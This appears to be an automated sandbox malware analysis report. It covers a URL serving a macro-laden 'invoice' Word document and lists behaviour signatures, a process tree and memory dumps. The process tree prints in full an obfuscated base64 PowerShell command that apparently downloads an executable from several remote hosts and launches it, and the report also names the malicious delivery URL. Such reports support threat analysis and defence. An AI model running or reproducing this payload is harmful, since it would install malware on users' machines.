Overview

overview

10

Static

static

http://web86.s146.go...

windows10_x64

10

Analysis

  • max time kernel
    145s
  • max time network
    141s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    17-07-2020 18:12

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    http://web86.s146.goserver.host/hk9jj/CchogvhEi

  • Sample

    200717-anccpnxhhn

Score
10/10
macro

Malware Config

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

    macro
  • Modifies system certificate store 8 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 53 IoCs
    adwarespyware
  • Modifies registry class 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Checks whether UAC is enabled 2 IoCs

Processes

  • C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://web86.s146.goserver.host/hk9jj/CchogvhEi
    1⤵
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Checks whether UAC is enabled
    PID:3104
    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3104 CREDAT:82945 /prefetch:2
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of SetWindowsHookEx
      • Checks whether UAC is enabled
      PID:3888
    • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
      "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\7ITI1NQU\invoice_FCE925_805515.doc" /o ""
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      PID:3788
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e LgAoACcASQBtAHAAJwArACcAbwAnACsAJwByAHQALQAnACsAJwBNACcAKwAnAG8AZAB1AGwAZQAnACkAIABCAEkAdABzAFQAUgBBAG4AcwBGAGUAUgA7ACQAZwBhAGkAdgB5AG8AZwBnAGkAZQBrAGQAbwBqAHgAYQB1AG0AbABvAGEAbQA9ACcAaAB0AHQAcABzADoALwAvAHIAYQBtAHUAawBhAGsAYQBvAG4AbABpAG4AZQAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AYwB4AFMAegBtAFMAWABOAC8AKgBoAHQAdABwADoALwAvAHMAaAB1AGIAaABpAG4AZgBvAHcAYQB5AHMALgBjAG8AbQAvAHAALwBYAEUAYwBjADUAeAAxAHEAeAA3ADMALwAqAGgAdAB0AHAAOgAvAC8AdABlAHMAdAAyAC4AYwB4AHkAdwAuAG4AZQB0AC8AaAB5AGUAaAB0ADMALwBhAFcAeQBiAGsAegBpAC8AKgBoAHQAdABwADoALwAvAHMAdQBzAHQAYQBpAG4AYQBiAGwAZQBhAG4AZABvAHIAZwBhAG4AaQBjAGcAYQByAG0AZQBuAHQAcwAuAGMAbwBtAC8AawBvAG0AZQBuAHQAYQByAHoALwBLAEgARgA2AHIAeQA5ADIANgA1ADcALwAqAGgAdAB0AHAAOgAvAC8AcwB0AGEAZwBpAG4AZwAuAGkAYwB1AHMAawBpAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBvADUAaABoAHIAagA4AHcAdgBmAHYAMwA3ADIANwAyADkALwAnAC4AIgBzAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHcAYQBpAGQAagBpAHIAawBlAGkAYwBoAGIAbwB1AHMAZgBvAGEAYgA9ACAAKABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgAiAEcAYABlAFQAVABgAGUATQBwAFAAQQBgAFQAaAAiACgAKQArACcAXABzAGUAeQB6AG8AdQBwAGgAZQBhAHQAaAAuAGUAeABlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHQAdQB1AHQAbABvAGUAYwBuAGEAdQBjAGcAdQB1AHQAdgBlAGkAZgAgAGkAbgAgACQAZwBhAGkAdgB5AG8AZwBnAGkAZQBrAGQAbwBqAHgAYQB1AG0AbABvAGEAbQApAHsAdAByAHkAewAmACgAJwBTAHQAYQByAHQALQBCACcAKwAnAGkAdABzAFQAcgAnACsAJwBhACcAKwAnAG4AcwBmAGUAcgAnACkAIAAtAFMAbwB1AHIAYwBlACAAJAB0AHUAdQB0AGwAbwBlAGMAbgBhAHUAYwBnAHUAdQB0AHYAZQBpAGYAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQAdwBhAGkAZABqAGkAcgBrAGUAaQBjAGgAYgBvAHUAcwBmAG8AYQBiADsALgAoACcAUwAnACsAJwB0AGEAJwArACcAcgB0AC0AUAByAG8AJwArACcAYwBlAHMAcwAnACkAIAAkAHcAYQBpAGQAagBpAHIAawBlAGkAYwBoAGIAbwB1AHMAZgBvAGEAYgA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAfQB9AA==
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    PID:1540

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/3788-6-0x000001D1D3522000-0x000001D1D3527000-memory.dmp

    Filesize

    20KB

    Download

  • memory/3788-5-0x000001D1D52FC000-0x000001D1D52FE000-memory.dmp

    Filesize

    8KB

    Download

  • memory/3788-7-0x000001D1D549C000-0x000001D1D54A1000-memory.dmp

    Filesize

    20KB

    Download

  • memory/3788-8-0x000001D1D5B1A000-0x000001D1D5B23000-memory.dmp

    Filesize

    36KB

    Download

  • memory/3788-9-0x000001D1D5B1A000-0x000001D1D5B23000-memory.dmp

    Filesize

    36KB

    Download

  • memory/3788-4-0x000001D1D52FE000-0x000001D1D5301000-memory.dmp

    Filesize

    12KB

    Download

  • memory/3788-3-0x000001D1D3522000-0x000001D1D3527000-memory.dmp

    Filesize

    20KB

    Download